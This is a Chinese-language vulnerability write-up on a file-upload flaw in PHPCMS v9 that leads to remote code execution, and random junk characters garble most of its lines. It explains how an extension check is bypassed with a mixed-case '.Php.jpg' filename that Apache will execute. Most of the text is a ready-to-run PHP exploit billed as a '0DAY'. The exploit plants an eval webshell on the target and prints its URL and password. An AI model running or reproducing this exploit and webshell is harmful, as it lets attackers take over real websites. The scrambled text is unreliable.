漏洞类型: 文件上传导致任意代码执行
" I: }7 o! }, w" b1 @! ~9 a) M' j: t( n! P6 v
简要描述:) T# y8 M! c' }) v0 j( {* A( S
( D+ z% Y) |2 b# S+ l9 ~; }7 nphpcms v9 getshell (apache)5 i5 {4 [4 g R& h' V' y$ b
详细说明:
0 Q8 U G& P' U0 w% Q
- w! S, a+ i$ b- @9 k+ I) \ Y漏洞文件:phpcms\modules\attachment\attachments.php2 }3 M# |/ @8 Y1 e* E
) U, E% Q" I6 v- j- ]) K
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
4 P$ @* _9 R4 S4 g3 z后缀检测:phpcms\modules\attachment\functions\global.func.php) c: p4 ^2 h$ O, z8 W
, G* Z& Q) n" h4 \; @+ Y+ I$ k, X
8 \0 @, t4 K& ]% t2 {8 S! h, C
4 M# i* {6 W6 v6 F" m$ n2 ?/ Bfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } + j ^8 i% K: F1 \0 T ?
) J \3 F4 M9 v; ?9 \9 p: [4 N关键函数:
; @+ B p! E" @1 V# w+ k4 Q$ ?% b( h7 t
5 P% h$ o- J5 { x
; `' y L2 T/ g5 _9 W Z
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ' E2 I6 A" t5 I$ x) Z
% Z H1 S0 M% y8 \
Fileext函数是对文件后缀名的提取。4 v" l- P# ~0 t8 c+ v3 N
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php e+ g% B" F# B2 Q- c2 a
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
. b3 u0 L& r0 |6 q: @4 r6 _我们回到public function crop_upload() 函数中9 Y: X* O# _% @2 s8 {
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();" _ |6 l# Y' ^/ _# V- d
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
6 g; \2 u3 \7 X& J4 _. m这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。 w5 H" C4 J# u6 }+ ~( a4 U
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。% a! S! ^# h3 A6 w
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。- u* q% Q& e- X9 v! \
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。2 j; }2 h2 e6 D
漏洞证明:) V. ?0 `7 B- p$ u$ p
8 ?- Z: I6 m6 C/ e$ _: |' {. Dexp:
+ \" ?* I6 I$ S! z; \7 K M9 i! x+ W3 i( Z
<?php
# d. ?9 w, B. r0 G' n G* X$ ^3 Oerror_reporting(E_ERROR);: D. C9 n" R- }" b; x0 H
set_time_limit(0);, F& T6 H# R( ~ a
$pass="ln";
7 l4 { r8 U, |6 D" G' Q9 x; Nprint_r('1 i8 a# p7 o' [/ ~* K3 e9 w
+---------------------------------------------------------------------------+' k5 L5 x5 K# {8 F. t' x
PHPCms V9 GETSHELL 0DAY
8 d; K8 c# ^3 O+ z! {& o+ J: icode by L.N.
" J2 J) ?" A. Q4 }, Z' M5 u# L7 S8 y8 X j g
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
! O5 a. x4 c2 b( C: s* L- b+---------------------------------------------------------------------------+
$ [# z) @% K3 x9 C');
2 f E! I# S0 z* L) z9 [if ($argc < 2) {
% m' Z, M$ e2 D/ j' E- _7 mprint_r('
. [% I0 X* }. {5 f5 z" H8 A+---------------------------------------------------------------------------+
( T- @2 y+ Z3 g& \Usage: php '.$argv[0].' url path
! {" L2 d" v9 t+ s6 s# U1 Z8 B& P
' D: z* t8 ]& x |9 zExample:
* I, _/ {+ y$ m& C1.php '.$argv[0].' lanu.sinaapp.com
0 i; p/ U2 Z/ b0 s" O2.php '.$argv[0].' lanu.sinaapp.com /phpcms$ n$ c; b8 {8 z; Q7 o+ W( l
+---------------------------------------------------------------------------+
9 ~5 H) B9 e% l, h' W');
, D$ R' q' T. n9 Aexit;" i7 E1 m* j$ U @- X
}# [5 v( H4 t1 w. {
( B" d0 p/ r2 i4 i
$url = $argv[1];. y; m) B' s; {4 s7 X
$path = $argv[2];2 s( z& S# ?4 [/ v) b
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
% ]+ G/ A" j" o6 a! H$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';# I% e; Y d P' P. o* z# N, E9 w
if($ret=Create_dir($url,$path))* w9 {* Y+ X$ C
{8 ?% i0 Z- S; ~4 a/ V
//echo $ret;
* ?( T @* l7 C7 w( O$pattern = "|Server:[^,]+?|U";
& V& f: I8 m% v& |preg_match_all($pattern, $ret, $matches);
h/ ]- e/ q+ f |if($matches[0][0])
2 V, O3 j" d: \% T; \{0 H; y) k1 b. y$ d
if(strpos($matches[0][0],'Apache') == false)6 _; O" H+ A4 v, _; w* I
{, d0 K: ^0 s3 v
echo "\n亲!此网站不是apache的网站。\n";exit;
( R4 O; D$ U! B c3 X V7 W5 e}; V' s. |. y! W: F3 L' @
}
7 ]5 V+ j1 z. E9 ]2 p7 Y3 I+ T [/ p$ret = GetShell($url,$phpshell,$path,$file);
9 J% M% h" F) S6 G$pattern = "|http:\/\/[^,]+?\.,?|U";
4 L' u' a$ k* w" g0 D/ ~& q* k& cpreg_match_all($pattern, $ret, $matches);$ s9 E$ R" l$ s& O4 X5 v
if($matches[0][0])
3 k5 w1 h* m" c' L& Y) T3 C. l0 ^{
5 O0 [6 D: \# K% z7 F: l) Recho "\n".'密码为: '.$pass."\n";
4 C' i3 e) D+ c) Aecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
+ |: X& Q& G" |4 q/ S}$ l: r+ [, Q3 K9 g* D
else
. Z% o* r: ]: D. U) `6 h{
6 v. S8 U0 V! \$pattern = "|\/uploadfile\/[^,]+?\.,?|U";/ }* C0 L9 v* n/ R1 x
preg_match_all($pattern, $ret, $matches);# |/ g3 m8 x1 r) l$ Y/ `
if($matches[0][0])
4 s% ~7 C/ t0 P. T8 ] a{9 S0 p5 ~2 o4 G/ b4 y
echo "\n".'密码为: '.$pass."\n";
2 f- f( @: i' U3 Q* S1 z: Y: ~echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;$ X! k& k& r( y
}
2 G* G, P C& F( K2 D! }8 v; u2 zelse
& Q) y6 Z% t2 g{
6 Z y# @" B3 ]echo "\r\n没得到!\n";exit;' H; v( ?, O# e, V
}! S; E( _8 w( S+ U) Y' b5 f( |6 d
}6 m" p& h- B$ Q4 L! }- r/ W
}
/ A% m3 Y8 T9 H# p* m* k
7 o7 \, ], S2 s- k) T, y9 ^5 Rfunction GetShell($url,$shell,$path,$js)
9 p" T, [, ~0 J{
# S; m5 u4 r' D6 n/ x$content =$shell;, x6 L5 z% T) h" I
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
! f+ P) y) p. v+ r0 g$data .= "Host: ".$url."\r\n";
3 |/ t: o$ E8 B" L' G3 y" B$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 Y; h/ r m1 o& }2 i9 G0 ^% j$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
" p5 C" B* r, p( E1 E$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";/ m* A8 l7 }- ^6 g2 j* f4 k+ c
$data .= "Connection: close\r\n";9 p8 B: H- q. s; c- ]+ c. v) }
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";$ M6 G, C2 d( ~& {& U) r& o
$data .= $content."\r\n";
; _" J. c1 [; S2 y$ock=fsockopen($url,80);
- Z9 }8 N( G. F9 }; Pif (!$ock)
' l: n; g* X3 Z6 k0 B{4 P5 M$ A6 w4 T% z
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;( r+ x# k! |) C
}3 X! T0 Q6 J' A) A/ k
else! f: {: C* ?( u$ T% z
{
. a( \6 e5 N2 F+ M8 }1 dfwrite($ock,$data);
4 ~. G# ~% x+ N6 H$resp = '';# R. u8 S+ K. t4 V4 n" }. j
while (!feof($ock))7 U) i% K- p% r5 U9 F$ Z( Q; m$ r
{
: {" n; n/ ~& b3 f8 w$resp.=fread($ock, 1024);) H" b3 z a' A6 w) J2 r$ Y. R7 Y0 d
}
* L/ R) `/ `( s& \: X& z# J' W) lreturn $resp;' Q, Y3 J& I c- g3 i3 ~' M- w( B
}
" D0 H9 H+ t- w2 j" `9 d}
: q) |8 N& T( b; F9 Q
0 i# `, T4 A; ?% Bfunction Create_dir($url,$path='')+ j1 T4 p! P# t2 l5 W: D. ~9 m
{
8 H% f* D; f9 ?8 G$content ='I love you';
4 }" r- T+ q$ V" o9 ?$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" c' T( @5 D0 U" ?; B$data .= "Host: ".$url."\r\n";# q2 L7 ^1 L& V) s4 ?( V, `, w
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";& _/ [1 a8 ~$ g& c
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";) U- w7 E6 _/ e( q7 m- D- A
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";; ?9 v8 Q7 p- Q! c
$data .= "Connection: close\r\n";; b) o5 L5 \! S* J3 h
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
0 \* X# w' b$ A5 `) H; ~$data .= $content."\r\n";
; S2 @, S, x9 G* F2 {7 D$ock=fsockopen($url,80);
" c9 Y8 p/ F2 e' p3 q5 P: r+ [if (!$ock)3 i$ U' U j9 M4 ?
{
! _' Y; V0 V* W0 M1 J# @2 T% ~7 Uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;% r9 r7 X# z& k9 l* g, B
}$ z3 q+ Z* i9 x2 m* X2 P
fwrite($ock,$data);
2 Z# O7 m5 \. Y3 Q5 `2 r$resp = '';0 W0 k9 T' o1 ], X: E
while (!feof($ock))- n- k! O1 ^$ J' k" U+ x% q9 L
{
5 O3 o& j' N# i5 m8 w$resp.=fread($ock, 1024);
) X2 b$ o- e4 W, i; |7 m}
# f! X* P9 m1 B! J( `2 Nreturn $resp;) }' r( `9 J# }) h/ Y/ m
}- v3 Y3 ^) v+ D$ {) _! a4 w, n
?> + K- t* v' l! h# b$ Y2 O' J' I$ T
# a; [$ a6 M5 ]5 D" O- J& d" I
修复方案:) y/ t: b8 T5 @5 W$ D( W) X
9 l4 v; h7 z3 M" c- q过滤过滤再过滤# e/ V, w L, d
$ A/ G1 R) m9 ]# }( h [7 p |